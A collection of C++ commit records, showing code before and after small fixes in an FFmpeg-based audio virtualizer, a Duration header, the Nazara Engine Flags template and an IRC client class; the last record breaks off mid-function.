av_log(NULL, AV_LOG_ERROR, "Unable to open output file\n"); exit(1); } } ret = avformat_write_header(ofmt_ctx, NULL); if(ret < 0) { av_log(NULL, AV_LOG_ERROR, "Error opening file to write header\n"); exit(1); } /* Read all of the packets */ packet0.data = NULL; packet.data = NULL; while(1) { if(!packet0.data) { ret = av_read_frame(info.format->format_ctx, &packet); if(ret < 0) break; packet0 = packet; } //in_stream = ifmt_ctx->streams[packet.stream_index]; //out_stream = ofmt_ctx->streams[packet.stream_index]; if(packet.stream_index == 0) { ret = av_interleaved_write_frame(ofmt_ctx, &packet0); if(ret < 0) { av_log(NULL, AV_LOG_ERROR, "Error muxing video packet\n"); } } if(packet.stream_index == info.format->audio_stream_index) { got_frame = 0; ret = avcodec_decode_audio4(info.format->decoder_ctx, frame, &got_frame, &packet); if(ret < 0) { av_log(NULL, AV_LOG_ERROR, "Error decoding audio\n"); continue; } packet.size -= ret; packet.data += ret; if(got_frame) { /* push audio from decoded frame through filter graph */ if(av_buffersrc_add_frame_flags(info.filter->abuffer_ctx, frame, 0) < 0) { av_log(NULL, AV_LOG_ERROR, "Error feeding into filter graph\n"); break; } int i ; int frame_sample_count = 0; while(ret >= 0) { // This is where you will work with each processed frame. i = 0; for (auto it = info.filter->abuffersink_ctx_map.begin(); it != info.filter->abuffersink_ctx_map.end(); it++) { ret = av_buffersink_get_frame(it->second, filt_frame); if(ret == AVERROR(EAGAIN) || ret == AVERROR_EOF) break; uint8_t * result_l, * result_r; if (it->first != Filter::LFE) { int sample_count = filt_frame->nb_samples; int sample_rate = filt_frame->sample_rate; if (total_sample_count == 0) total_sample_count = total_duration * sample_rate; if (frame_sample_count == 0) frame_sample_count = sample_count; if (c2v_.count(it->first) == 0) { float x_y_z[3]; if (info.coords.count(it->first) == 0) Filter::get_coords(it->first, &x_y_z[0], &x_y_z[1], &x_y_z[2]); else { x_y_z[0] = info.coords.at(it->first).x; x_y_z[1] = info.coords.at(it->first).y; x_y_z[2] = info.coords.at(it->first).z; if (info.coord_type == Filter::Spherical) mysofa_s2c(x_y_z); } if (sofa_.hrtf == NULL) { Virtualizer * virt = new Virtualizer(info.sofa_file_name.c_str(), sample_rate, x_y_z[0], x_y_z[1], x_y_z[2], info.block_size); c2v_.insert(std::make_pair(it->first, virt)); sofa_ = virt->get_hrtf(); } else { Virtualizer * virt = new Virtualizer(sofa_, sample_rate, x_y_z[0], x_y_z[1], x_y_z[2], info.block_size); c2v_.insert(std::make_pair(it->first, virt)); } } float * samples = Virtualizer::get_float_samples(filt_frame->extended_data[0], info.format->decoder_ctx->sample_fmt, sample_count); float ** float_results = c2v_[it->first]->process(samples, sample_count); result_l = Virtualizer::get_short_samples(float_results[0], info.format->decoder_ctx->sample_fmt, sample_count); result_r = Virtualizer::get_short_samples(float_results[1], info.format->decoder_ctx->sample_fmt, sample_count); delete[] float_results[0]; delete[] float_results[1]; delete[] float_results; delete[] samples; } else { result_l = result_r = filt_frame->extended_data[0]; } AVFrame *virt_frame = encoder->new_frame(encoder->codec_ctx, result_r, result_l); virt_frame->format = AV_SAMPLE_FMT_FLTP; virt_frame->sample_rate = 48000; virt_frame->channel_layout = 3; //av_log(NULL, AV_LOG_INFO, "%d ", i); if(av_buffersrc_add_frame_flags(sjoin->abuffers_ctx[i], virt_frame, 0) < 0) av_log(NULL, AV_LOG_ERROR, "Error feeding into filtergraph\n"); av_frame_unref(filt_frame); i++; } if(ret == AVERROR(EAGAIN) || ret == AVERROR_EOF) break; ret = av_buffersink_get_frame(sjoin->abuffersink_ctx, comb_virt_frame); if(ret < 0) { av_log(NULL, AV_LOG_ERROR, "No virtualization frame %d\n", ret); continue; } av_init_packet(&comb_packet_out); comb_packet_out.data = NULL; comb_packet_out.size = 0; ret = avcodec_encode_audio2(encoder->codec_ctx, &comb_packet_out, comb_virt_frame, &got_output); if(ret < 0) { av_log(NULL, AV_LOG_ERROR, "Error encoding comb frame %d\n", ret); exit(1); } uint8_t* data = comb_packet_out.data; av_copy_packet(&comb_packet_out, &packet0); comb_packet_out.data = data; ret = av_interleaved_write_frame(ofmt_ctx, &comb_packet_out); if(ret < 0) { av_log(NULL, AV_LOG_ERROR, "Error muxing video packet\n"); } av_free_packet(&comb_packet_out); av_frame_unref(comb_virt_frame); } samples_completed += frame_sample_count; } if(packet.size <= 0) av_free_packet(&packet0); } else { av_free_packet(&packet0); } if (total_sample_count != 0) { int completion = (100 * samples_completed) / total_sample_count; if (completion > 100) completion = 100; info.progress->store(completion); } } for (auto it = c2v_.begin(); it != c2v_.end(); it++) delete it->second; av_write_trailer(ofmt_ctx); avformat_close_input(&info.format->format_ctx); if(ofmt_ctx && !(ofmt->flags & AVFMT_NOFILE)) avio_close(ofmt_ctx->pb); avformat_free_context(ofmt_ctx); av_frame_free(&frame); av_frame_free(&filt_frame); av_frame_free(&comb_virt_frame); if(ret < 0 && ret != AVERROR_EOF) { av_log(NULL, AV_LOG_ERROR, "Error occured while closing out: %d\n", ret); return ret; } } <|endoftext|>
<commit_before>#ifndef DURATION_H #define DURATION_H #include <string> namespace sys { class Duration { public: Duration(); Duration(const Duration &duration); Duration & operator = (const Duration &duration); unsigned long elapsed() const; private: unsigned long _start; }; } #endif // DURATION_H <commit_msg>removing unused include directive<commit_after>#ifndef DURATION_H #define DURATION_H namespace sys { class Duration { public: Duration(); Duration(const Duration &duration); Duration & operator = (const Duration &duration); unsigned long elapsed() const; private: unsigned long _start; }; } #endif // DURATION_H <|endoftext|>
<commit_before>// Copyright (C) 2017 Jérôme Leclercq // This file is part of the "Nazara Engine - Core module" // For conditions of distribution and use, see copyright notice in Config.hpp #include <Nazara/Core/Flags.hpp> #include <Nazara/Core/Debug.hpp> namespace Nz { /*! * \ingroup core * \class Nz::Flags * \brief Core class used to combine enumeration values into flags bitfield */ /*! * \brief Constructs a Flags object using a bitfield * * \param value Bitfield to be used * * Uses a bitfield to builds the flag value. (e.g. if bit 0 is active, then Enum value 0 will be set as active). */ template<typename E> constexpr Flags<E>::Flags(BitField value) : m_value(value) { } /*! * \brief Constructs a Flags object using an Enum value * * \param enumVal enumVal * * Setup a Flags object with only one flag active (corresponding to the enum value passed as argument). */ template<typename E> constexpr Flags<E>::Flags(E enumVal) : Flags(GetFlagValue(enumVal)) { } /*! * \brief Clear all flags * * \see Test */ template<typename E> void Flags<E>::Clear() { m_value = 0; } /*! * \brief Clear some flags * * \param flags Flags to be cleared * * \see Test */ template<typename E> void Flags<E>::Clear(const Flags& flags) { m_value &= ~flags; } /*! * \brief Enable some flags * * \param flags Flags to be enabled * * \see Clear * \see Test */ template<typename E> void Flags<E>::Set(const Flags& flags) { m_value |= flags; } /*! * \brief Tests if all flags from a Flags object are enabled * \return True if all tested flags are enabled. * * \see Clear */ template<typename E> constexpr bool Flags<E>::Test(const Flags& flags) const { return (m_value & flags.m_value) == flags.m_value; } /*! * \brief Tests any flag * \return True if any flag is enabled. * * This will convert to a boolean value allowing to check if any flag is set. */ template<typename E> constexpr Flags<E>::operator bool() const { return m_value != 0; } /*! * \brief Converts to an integer * \return Enabled flags as a integer * * This will only works if the integer type is large enough to store all flags states */ template<typename E> template<typename T, typename> constexpr Flags<E>::operator T() const { return m_value; } /*! * \brief Reverse flag states * \return Opposite enabled flags * * This will returns a copy of the Flags object with reversed flags states. */ template<typename E> constexpr Flags<E> Flags<E>::operator~() const { return Flags((~m_value) & ValueMask); } /*! * \brief Compare flag states * \return Shared flags * * \param rhs Flags to compare with. * * This will returns a copy of the Flags object with only enabled flags in common with the parameter */ template<typename E> constexpr Flags<E> Flags<E>::operator&(const Flags& rhs) const { return Flags(m_value & rhs.m_value); } /*! * \brief Combine flag states * \return Combined flags * * This will returns a copy of the Flags object with combined flags from the parameter. * * \param rhs Flags to combine with. */ template<typename E> constexpr Flags<E> Flags<E>::operator|(const Flags& rhs) const { return Flags(m_value | rhs.m_value); } /*! * \brief XOR flag states * \return XORed flags. * * \param rhs Flags to XOR with. * * This performs a XOR (Exclusive OR) on a copy of the flag object. * This will returns a copy of the object with disabled common flags and enabled unique ones. */ template<typename E> constexpr Flags<E> Flags<E>::operator^(const Flags& rhs) const { return Flags((m_value ^ rhs.m_value) & ValueMask); } /*! * \brief Check equality with flag object * \return True if both flags objects have the same states. * * \param rhs Flags to compare with. * * Compare two Flags object and returns true if the flag states are identical. */ template<typename E> constexpr bool Flags<E>::operator==(const Flags& rhs) const { return m_value == rhs.m_value; } /*! * \brief Check inequality with flag object * \return True if both flags objects have different states. * * \param rhs Flags to compare with. * * Compare two Flags object and returns true if the flag states are identical. */ template<typename E> constexpr bool Flags<E>::operator!=(const Flags& rhs) const { return !operator==(rhs); } /*! * \brief Combine flag states * \return A reference to the object. * * \param rhs Flags to combine with. * * This will enable flags which are enabled in parameter object and not in Flag object. */ template<typename E> /*constexpr*/ Flags<E>& Flags<E>::operator|=(const Flags& rhs) { m_value |= rhs.m_value; return *this; } /*! * \brief Compare flag states * \return A reference to the object. * * \param rhs Flags to compare with. * * This will disable flags which are disabled in parameter object and enabled in Flag object (and vice-versa). */ template<typename E> /*constexpr*/ Flags<E>& Flags<E>::operator&=(const Flags& rhs) { m_value &= rhs.m_value; return *this; } /*! * \brief XOR flag states * \return A reference to the object. * * \param rhs Flags to XOR with. * * This performs a XOR (Exclusive OR) on the flag object. * This will disable flags enabled in both Flags objects and enable those enabled in only one of the Flags objects. */ template<typename E> /*constexpr*/ Flags<E>& Flags<E>::operator^=(const Flags& rhs) { m_value ^= rhs.m_value; m_value &= ValueMask; return *this; } /*! * \brief Returns a bitfield corresponding to an enum value. * \return Bitfield representation of the enum value * * \param enumValue Enumeration value to get as a bitfield. * * Internally, every enum option is turned into a bit, this function allows to get a bitfield with only the bit of the enumeration value enabled. */ template<typename E> constexpr typename Flags<E>::BitField Flags<E>::GetFlagValue(E enumValue) { return 1U << static_cast<BitField>(enumValue); } /*! * \brief Compare flag states * \return Compared flags * * This will returns a copy of the Flags object compared with the enum state. * * \param lhs Enum to compare with flags. * \param rhs Flags object. */ template<typename E> constexpr Flags<E> operator&(E lhs, Flags<E> rhs) { return rhs & lhs; } /*! * \brief Combine flag states * \return Combined flags * * This will returns a copy of the Flags object combined with the enum state. * * \param lhs Enum to combine with flags. * \param rhs Flags object. */ template<typename E> constexpr Flags<E> operator|(E lhs, Flags<E> rhs) { return rhs | lhs; } /*! * \brief XOR flag states * \return XORed flags * * This will returns a copy of the Flags object XORed with the enum state. * * \param lhs Enum to XOR with flags. * \param rhs Flags object. */ template<typename E> constexpr Flags<E> operator^(E lhs, Flags<E> rhs) { return rhs ^ lhs; } namespace FlagsOperators { /*! * \brief Override binary NOT operator on enum to turns into a Flags object. * \return A Flags object with reversed bits. * * \param lhs Enumeration value to reverse. * * Returns a Flags object with all state enabled except for the enum one. */ template<typename E> constexpr std::enable_if_t<IsEnumFlag<E>::value, Flags<E>> operator~(E lhs) { return ~Flags<E>(lhs); } /*! * \brief Override binary AND operator on enum to turns into a Flags object. * \return A Flags object with compare enum states. * * \param lhs First enumeration value to compare. * \param rhs Second enumeration value to compare. * * Returns a Flags object with compared states from the two enumeration values. * In this case, only one flag will be enabled if both enumeration values are the same. */ template<typename E> constexpr std::enable_if_t<IsEnumFlag<E>::value, Flags<E>> operator&(E lhs, E rhs) { return Flags<E>(lhs) & rhs; } /*! * \brief Override binary OR operator on enum to turns into a Flags object. * \return A Flags object with combined enum states. * * \param lhs First enumeration value to combine. * \param rhs Second enumeration value to combine. * * Returns a Flags object with combined states from the two enumeration values. */ template<typename E> constexpr std::enable_if_t<IsEnumFlag<E>::value, Flags<E>> operator|(E lhs, E rhs) { return Flags<E>(lhs) | rhs; } /*! * \brief Override binary XOR operator on enum to turns into a Flags object. * \return A Flags object with XORed enum states. * * \param lhs First enumeration value to compare. * \param rhs Second enumeration value to compare. * * Returns a Flags object with XORed states from the two enumeration values. * In this case, two flags will be enabled if both the enumeration values are different. */ template<typename E> constexpr std::enable_if_t<IsEnumFlag<E>::value, Flags<E>> operator^(E lhs, E rhs) { return Flags<E>(lhs) ^ rhs; } } } #include <Nazara/Core/DebugOff.hpp> <commit_msg>Oopsie<commit_after>// Copyright (C) 2017 Jérôme Leclercq // This file is part of the "Nazara Engine - Core module" // For conditions of distribution and use, see copyright notice in Config.hpp #include <Nazara/Core/Flags.hpp> #include <Nazara/Core/Debug.hpp> namespace Nz { /*! * \ingroup core * \class Nz::Flags * \brief Core class used to combine enumeration values into flags bitfield */ /*! * \brief Constructs a Flags object using a bitfield * * \param value Bitfield to be used * * Uses a bitfield to builds the flag value. (e.g. if bit 0 is active, then Enum value 0 will be set as active). */ template<typename E> constexpr Flags<E>::Flags(BitField value) : m_value(value) { } /*! * \brief Constructs a Flags object using an Enum value * * \param enumVal enumVal * * Setup a Flags object with only one flag active (corresponding to the enum value passed as argument). */ template<typename E> constexpr Flags<E>::Flags(E enumVal) : Flags(GetFlagValue(enumVal)) { } /*! * \brief Clear all flags * * \see Test */ template<typename E> void Flags<E>::Clear() { m_value = 0; } /*! * \brief Clear some flags * * \param flags Flags to be cleared * * \see Test */ template<typename E> void Flags<E>::Clear(const Flags& flags) { m_value &= ~flags.m_value; } /*! * \brief Enable some flags * * \param flags Flags to be enabled * * \see Clear * \see Test */ template<typename E> void Flags<E>::Set(const Flags& flags) { m_value |= flags.m_value; } /*! * \brief Tests if all flags from a Flags object are enabled * \return True if all tested flags are enabled. * * \see Clear */ template<typename E> constexpr bool Flags<E>::Test(const Flags& flags) const { return (m_value & flags.m_value) == flags.m_value; } /*! * \brief Tests any flag * \return True if any flag is enabled. * * This will convert to a boolean value allowing to check if any flag is set. */ template<typename E> constexpr Flags<E>::operator bool() const { return m_value != 0; } /*! * \brief Converts to an integer * \return Enabled flags as a integer * * This will only works if the integer type is large enough to store all flags states */ template<typename E> template<typename T, typename> constexpr Flags<E>::operator T() const { return m_value; } /*! * \brief Reverse flag states * \return Opposite enabled flags * * This will returns a copy of the Flags object with reversed flags states. */ template<typename E> constexpr Flags<E> Flags<E>::operator~() const { return Flags((~m_value) & ValueMask); } /*! * \brief Compare flag states * \return Shared flags * * \param rhs Flags to compare with. * * This will returns a copy of the Flags object with only enabled flags in common with the parameter */ template<typename E> constexpr Flags<E> Flags<E>::operator&(const Flags& rhs) const { return Flags(m_value & rhs.m_value); } /*! * \brief Combine flag states * \return Combined flags * * This will returns a copy of the Flags object with combined flags from the parameter. * * \param rhs Flags to combine with. */ template<typename E> constexpr Flags<E> Flags<E>::operator|(const Flags& rhs) const { return Flags(m_value | rhs.m_value); } /*! * \brief XOR flag states * \return XORed flags. * * \param rhs Flags to XOR with. * * This performs a XOR (Exclusive OR) on a copy of the flag object. * This will returns a copy of the object with disabled common flags and enabled unique ones. */ template<typename E> constexpr Flags<E> Flags<E>::operator^(const Flags& rhs) const { return Flags((m_value ^ rhs.m_value) & ValueMask); } /*! * \brief Check equality with flag object * \return True if both flags objects have the same states. * * \param rhs Flags to compare with. * * Compare two Flags object and returns true if the flag states are identical. */ template<typename E> constexpr bool Flags<E>::operator==(const Flags& rhs) const { return m_value == rhs.m_value; } /*! * \brief Check inequality with flag object * \return True if both flags objects have different states. * * \param rhs Flags to compare with. * * Compare two Flags object and returns true if the flag states are identical. */ template<typename E> constexpr bool Flags<E>::operator!=(const Flags& rhs) const { return !operator==(rhs); } /*! * \brief Combine flag states * \return A reference to the object. * * \param rhs Flags to combine with. * * This will enable flags which are enabled in parameter object and not in Flag object. */ template<typename E> /*constexpr*/ Flags<E>& Flags<E>::operator|=(const Flags& rhs) { m_value |= rhs.m_value; return *this; } /*! * \brief Compare flag states * \return A reference to the object. * * \param rhs Flags to compare with. * * This will disable flags which are disabled in parameter object and enabled in Flag object (and vice-versa). */ template<typename E> /*constexpr*/ Flags<E>& Flags<E>::operator&=(const Flags& rhs) { m_value &= rhs.m_value; return *this; } /*! * \brief XOR flag states * \return A reference to the object. * * \param rhs Flags to XOR with. * * This performs a XOR (Exclusive OR) on the flag object. * This will disable flags enabled in both Flags objects and enable those enabled in only one of the Flags objects. */ template<typename E> /*constexpr*/ Flags<E>& Flags<E>::operator^=(const Flags& rhs) { m_value ^= rhs.m_value; m_value &= ValueMask; return *this; } /*! * \brief Returns a bitfield corresponding to an enum value. * \return Bitfield representation of the enum value * * \param enumValue Enumeration value to get as a bitfield. * * Internally, every enum option is turned into a bit, this function allows to get a bitfield with only the bit of the enumeration value enabled. */ template<typename E> constexpr typename Flags<E>::BitField Flags<E>::GetFlagValue(E enumValue) { return 1U << static_cast<BitField>(enumValue); } /*! * \brief Compare flag states * \return Compared flags * * This will returns a copy of the Flags object compared with the enum state. * * \param lhs Enum to compare with flags. * \param rhs Flags object. */ template<typename E> constexpr Flags<E> operator&(E lhs, Flags<E> rhs) { return rhs & lhs; } /*! * \brief Combine flag states * \return Combined flags * * This will returns a copy of the Flags object combined with the enum state. * * \param lhs Enum to combine with flags. * \param rhs Flags object. */ template<typename E> constexpr Flags<E> operator|(E lhs, Flags<E> rhs) { return rhs | lhs; } /*! * \brief XOR flag states * \return XORed flags * * This will returns a copy of the Flags object XORed with the enum state. * * \param lhs Enum to XOR with flags. * \param rhs Flags object. */ template<typename E> constexpr Flags<E> operator^(E lhs, Flags<E> rhs) { return rhs ^ lhs; } namespace FlagsOperators { /*! * \brief Override binary NOT operator on enum to turns into a Flags object. * \return A Flags object with reversed bits. * * \param lhs Enumeration value to reverse. * * Returns a Flags object with all state enabled except for the enum one. */ template<typename E> constexpr std::enable_if_t<IsEnumFlag<E>::value, Flags<E>> operator~(E lhs) { return ~Flags<E>(lhs); } /*! * \brief Override binary AND operator on enum to turns into a Flags object. * \return A Flags object with compare enum states. * * \param lhs First enumeration value to compare. * \param rhs Second enumeration value to compare. * * Returns a Flags object with compared states from the two enumeration values. * In this case, only one flag will be enabled if both enumeration values are the same. */ template<typename E> constexpr std::enable_if_t<IsEnumFlag<E>::value, Flags<E>> operator&(E lhs, E rhs) { return Flags<E>(lhs) & rhs; } /*! * \brief Override binary OR operator on enum to turns into a Flags object. * \return A Flags object with combined enum states. * * \param lhs First enumeration value to combine. * \param rhs Second enumeration value to combine. * * Returns a Flags object with combined states from the two enumeration values. */ template<typename E> constexpr std::enable_if_t<IsEnumFlag<E>::value, Flags<E>> operator|(E lhs, E rhs) { return Flags<E>(lhs) | rhs; } /*! * \brief Override binary XOR operator on enum to turns into a Flags object. * \return A Flags object with XORed enum states. * * \param lhs First enumeration value to compare. * \param rhs Second enumeration value to compare. * * Returns a Flags object with XORed states from the two enumeration values. * In this case, two flags will be enabled if both the enumeration values are different. */ template<typename E> constexpr std::enable_if_t<IsEnumFlag<E>::value, Flags<E>> operator^(E lhs, E rhs) { return Flags<E>(lhs) ^ rhs; } } } #include <Nazara/Core/DebugOff.hpp> <|endoftext|>
<commit_before>#include "client.h" Client::Client(std::string&& id, std::string&& nick, std::string&& ident, std::string&& gecos, std::string&& pass, std::string&& socktype, const Protocol* mod) : User(std::forward<std::string> (id), std::forward<std::string> (nick), std::forward<std::string> (ident), std::forward<std::string> (gecos)), password(std::forward<std::string>(pass)), socket(mod->obtainSocket(socktype)), expectingReconnect(true), proto(mod), needRegisterDelay(false), penaltySeconds(0) {} Client::~Client() { if (socket->isConnected()) socket->closeConnection(); if (receiveThread.joinable()) receiveThread.join(); if (sendThread.joinable()) sendThread.join(); if (secondsThread.joinable()) secondsThread.join(); if (registerThread.joinable()) registerThread.join(); } void Client::connect() { proto->connectSocket(socket); receiveThread = std::thread (&Client::receiveData, this); if (proto->floodThrottleInEffect()) { sendThread = std::thread (&Client::sendQueue, this); secondsThread = std::thread (&Client::decrementSeconds, this); } registerThread = std::thread (&Client::delayRegister, this); needRegisterDelay = true; socket->sendData("CAP LS"); } void Client::disconnect(const std::string& reason) { if (socket->isConnected()) { IRCMessage quitMsg ("QUIT"); quitMsg.setParams(std::vector<std::string> { reason }); socket->sendData(quitMsg.rawLine()); socket->closeConnection(); } expectingReconnect = false; } bool Client::checkConnection() const { if (socket) return socket->isConnected(); return false; } bool Client::wantsToReconnect() const { return expectingReconnect; } void Client::doReconnect() { expectingReconnect = true; if (receiveThread.joinable()) receiveThread.join(); if (sendThread.joinable()) sendThread.join(); if (secondsThread.joinable()) secondsThread.join(); if (registerThread.joinable()) registerThread.join(); connect(); } void Client::doRegister() { if (socket->isConnected()) { if (!password.empty()) { IRCMessage passMsg ("PASS"); passMsg.setParams(std::vector<std::string> { password }); socket->sendData(passMsg.rawLine()); } IRCMessage nickMsg ("NICK"); nickMsg.setParams(std::vector<std::string> { userNick }); socket->sendData(nickMsg.rawLine()); IRCMessage userMsg ("USER"); userMsg.setParams(std::vector<std::string> { userIdent, "localhost", proto->servName(), userGecos }); socket->sendData(userMsg.rawLine()); } needRegisterDelay = false; } void Client::startFloodThrottle() { if (sendThread.joinable() && secondsThread.joinable()) return; if (!sendThread.joinable()) sendThread = std::thread(&Client::sendQueue, this); if (!secondsThread.joinable()) secondsThread = std::thread(&Client::decrementSeconds, this); } void Client::endFloodThrottle() { if (sendThread.joinable()) sendThread.join(); if (secondsThread.joinable()) secondsThread.join(); } std::map<std::string, std::string> Client::modes() const { return clientModes; } bool Client::modeSet(const std::string& mode) const { return clientModes.find(mode) != clientModes.end(); } std::string Client::modeParam(const std::string& mode) const { auto modeIter = clientModes.find(mode); if (modeIter == clientModes.end()) return ""; return modeIter->second; } std::list<std::string> Client::listModeList(const std::string& mode) const { auto listModeIter = clientListModes.find(mode); if (listModeIter == clientListModes.end()) return std::list<std::string> (); return listModeIter->second; } bool Client::itemInList(const std::string& mode, const std::string& param) const { auto listModeIter = clientListModes.find(mode); if (listModeIter == clientListModes.end()) return false; auto listIter = std::find(listModeIter->second.begin(), listModeIter->second.end(), param); return listIter != listModeIter->second.end(); } void Client::setMode(const std::string& mode) { clientModes.insert(std::pair<std::string, std::string> (mode, "")); } void Client::setMode(const std::string& mode, const std::string& param) { clientModes[mode] = param; // If the mode is already set, we should change its param, but if not, it should be added } void Client::unsetMode(const std::string& mode) { clientModes.erase(mode); } void Client::setListMode(const std::string& mode, const std::string& param) { auto listModeIter = clientListModes.find(mode); if (listModeIter == clientListModes.end()) { clientListModes[mode].push_back(param); return; } auto listIter = std::find(listModeIter->second.begin(), listModeIter->second.end(), param); if (listIter == listModeIter->second.end()) listModeIter->second.push_back(param); } void Client::unsetListMode(const std::string& mode, const std::string& param) { auto listModeIter = clientListModes.find(mode); if (listModeIter == clientListModes.end()) return; listModeIter->second.remove(param); if (listModeIter->second.empty()) clientListModes.erase(listModeIter); } void Client::sendLine(const IRCMessage* line) { if (proto->floodThrottleInEffect()) { std::unique_ptr<IRCMessage> msgCopy (new IRCMessage (line)); linesToSend.push(msgCopy); } else socket->sendData(line->rawLine()); } void Client::receiveData() { LogManager* logger = LogManager::getHandle(); while (socket->isConnected()) { std::string newMsg; try { newMsg = socket->receive(); } catch (const SocketOperationFailed& ex) { logger->log(LOG_DEFAULT, "protocol-client", "Connection failed for client " + userID + " (" + userNick + "!" + userIdent + "@" + userHost + " on server " + proto->servName() + ") during receive."); break; } proto->processIncoming(userID, IRCMessage (newMsg)); logger->log(LOG_ALL, "protocol-client-recv-" + proto->servName(), newMsg); } } void Client::sendQueue() { LogManager* logger = LogManager::getHandle(); while (socket->isConnected() && proto->floodThrottleInEffect()) { if (linesToSend.empty()) { std::this_thread::sleep_for(std::chrono::milliseconds(25)); continue; } std::unique_ptr<IRCMessage> sendingLine = linesToSend.front(); linesToSend.pop(); unsigned int thisPenalty = 1; auto penaltyIter = commandPenalty.find(sendingLine->command()); if (penaltyIter != commandPenalty.end()) thisPenalty = penaltyIter->second; while (penaltySeconds > 10) std::this_thread::sleep_for(std::chrono::seconds(1)); MutexLocker mutexLock (&sendMutex); penaltySeconds += thisPenalty; if (socket->isConnected()) { // to make sure the connection didn't get lost during the wait std::string lineToSend (sendingLine->rawLine()); socket->sendData(lineToSend); logger->log(LOG_ALL, "protocol-client-send-" + proto->servName(), lineToSend); } std::stringstream logMsg; logMsg << "The command " << sendingLine->command() << " was sent; the penalty has increased by " << thisPenalty << " to " << penaltySeconds << "."; logger->log(LOG_ALL, "protocol-client-penalty-" + proto->servName(), logMsg.str()); } if (socket->isConnected()) { MutexLocker mutexLock (&sendMutex); while (!linesToSend.empty()) { std::string lineToSend (linesToSend.front()->rawLine()); linesToSend.pop(); socket->sendData(lineToSend); logger->log(LOG_ALL, "protocol-client-send-" + proto->servName(), lineToSend); } } } void Client::decrementSeconds() { LogManager* logger = LogManager::getHandle(); while (socket->isConnected() && proto->floodThrottleInEffect()) { std::this_thread::sleep_for(std::chrono::seconds(1)); MutexLocker mutexLock (&sendMutex); if (penaltySeconds > 0) { penaltySeconds--; std::ostringstream logMsg; logMsg << "Penalty second count reduced to " << penaltySeconds; logger->log(LOG_ALL, "protocol-client-penalty-" + proto->servName(), logMsg.str()); } } MutexLocker mutexLock (&sendMutex); penaltySeconds = 0; logger->log(LOG_DEBUG, "protocol-client-penalty-" + proto->servName(), "Socket disconnected or flood throttling disabled; penalty reset to 0."); } void Client::delayRegister() { std::this_thread::sleep_for(std::chrono::seconds(5)); if (!needRegisterDelay) return; doRegister(); }<commit_msg>Fix constructor arguments<commit_after>#include "client.h" Client::Client(std::string&& id, std::string&& nick, std::string&& ident, std::string&& gecos, std::string&& pass, std::string&& socktype, const Protocol* mod) : User(std::forward<std::string> (id), std::forward<std::string> (nick), std::forward<std::string> (ident), std::forward<std::string> (gecos)), password(std::forward<std::string>(pass)), socket(mod->obtainSocket(socktype)), expectingReconnect(true), proto(mod), needRegisterDelay(false), penaltySeconds(0) {} Client::~Client() { if (socket->isConnected()) socket->closeConnection(); if (receiveThread.joinable()) receiveThread.join(); if (sendThread.joinable()) sendThread.join(); if (secondsThread.joinable()) secondsThread.join(); if (registerThread.joinable()) registerThread.join(); } void Client::connect() { proto->connectSocket(socket); receiveThread = std::thread (&Client::receiveData, this); if (proto->floodThrottleInEffect()) { sendThread = std::thread (&Client::sendQueue, this); secondsThread = std::thread (&Client::decrementSeconds, this); } registerThread = std::thread (&Client::delayRegister, this); needRegisterDelay = true; socket->sendData("CAP LS"); } void Client::disconnect(const std::string& reason) { if (socket->isConnected()) { IRCMessage quitMsg ("QUIT"); quitMsg.setParams(std::vector<std::string> { reason }); socket->sendData(quitMsg.rawLine()); socket->closeConnection(); } expectingReconnect = false; } bool Client::checkConnection() const { if (socket) return socket->isConnected(); return false; } bool Client::wantsToReconnect() const { return expectingReconnect; } void Client::doReconnect() { expectingReconnect = true; if (receiveThread.joinable()) receiveThread.join(); if (sendThread.joinable()) sendThread.join(); if (secondsThread.joinable()) secondsThread.join(); if (registerThread.joinable()) registerThread.join(); connect(); } void Client::doRegister() { if (socket->isConnected()) { if (!password.empty()) { IRCMessage passMsg ("PASS"); passMsg.setParams(std::vector<std::string> { password }); socket->sendData(passMsg.rawLine()); } IRCMessage nickMsg ("NICK"); nickMsg.setParams(std::vector<std::string> { userNick }); socket->sendData(nickMsg.rawLine()); IRCMessage userMsg ("USER"); userMsg.setParams(std::vector<std::string> { userIdent, "localhost", proto->servName(), userGecos }); socket->sendData(userMsg.rawLine()); } needRegisterDelay = false; } void Client::startFloodThrottle() { if (sendThread.joinable() && secondsThread.joinable()) return; if (!sendThread.joinable()) sendThread = std::thread(&Client::sendQueue, this); if (!secondsThread.joinable()) secondsThread = std::thread(&Client::decrementSeconds, this); } void Client::endFloodThrottle() { if (sendThread.joinable()) sendThread.join(); if (secondsThread.joinable()) secondsThread.join(); } std::map<std::string, std::string> Client::modes() const { return clientModes; } bool Client::modeSet(const std::string& mode) const { return clientModes.find(mode) != clientModes.end(); } std::string Client::modeParam(const std::string& mode) const { auto modeIter = clientModes.find(mode); if (modeIter == clientModes.end()) return ""; return modeIter->second; } std::list<std::string> Client::listModeList(const std::string& mode) const { auto listModeIter = clientListModes.find(mode); if (listModeIter == clientListModes.end()) return std::list<std::string> (); return listModeIter->second; } bool Client::itemInList(const std::string& mode, const std::string& param) const { auto listModeIter = clientListModes.find(mode); if (listModeIter == clientListModes.end()) return false; auto listIter = std::find(listModeIter->second.begin(), listModeIter->second.end(), param); return listIter != listModeIter->second.end(); } void Client::setMode(const std::string& mode) { clientModes.insert(std::pair<std::string, std::string> (mode, "")); } void Client::setMode(const std::string& mode, const std::string& param) { clientModes[mode] = param; // If the mode is already set, we should change its param, but if not, it should be added } void Client::unsetMode(const std::string& mode) { clientModes.erase(mode); } void Client::setListMode(const std::string& mode, const std::string& param) { auto listModeIter = clientListModes.find(mode); if (listModeIter == clientListModes.end()) { clientListModes[mode].push_back(param); return; } auto listIter = std::find(listModeIter->second.begin(), listModeIter->second.end(), param); if (listIter == listModeIter->second.end()) listModeIter->second.push_back(param); } void Client::unsetListMode(const std::string& mode, const std::string& param) { auto listModeIter = clientListModes.find(mode); if (listModeIter == clientListModes.end()) return; listModeIter->second.remove(param); if (listModeIter->second.empty()) clientListModes.erase(listModeIter); } void Client::sendLine(const IRCMessage* line) { if (proto->floodThrottleInEffect()) { std::unique_ptr<IRCMessage> msgCopy (new IRCMessage (*line)); linesToSend.push(msgCopy); } else socket->sendData(line->rawLine()); } void Client::receiveData() { LogManager* logger = LogManager::getHandle(); while (socket->isConnected()) { std::string newMsg; try { newMsg = socket->receive(); } catch (const SocketOperationFailed& ex) { logger->log(LOG_DEFAULT, "protocol-client", "Connection failed for client " + userID + " (" + userNick + "!" + userIdent + "@" + userHost + " on server " + proto->servName() + ") during receive."); break; } proto->processIncoming(userID, IRCMessage (newMsg)); logger->log(LOG_ALL, "protocol-client-recv-" + proto->servName(), newMsg); } } void Client::sendQueue() { LogManager* logger = LogManager::getHandle(); while 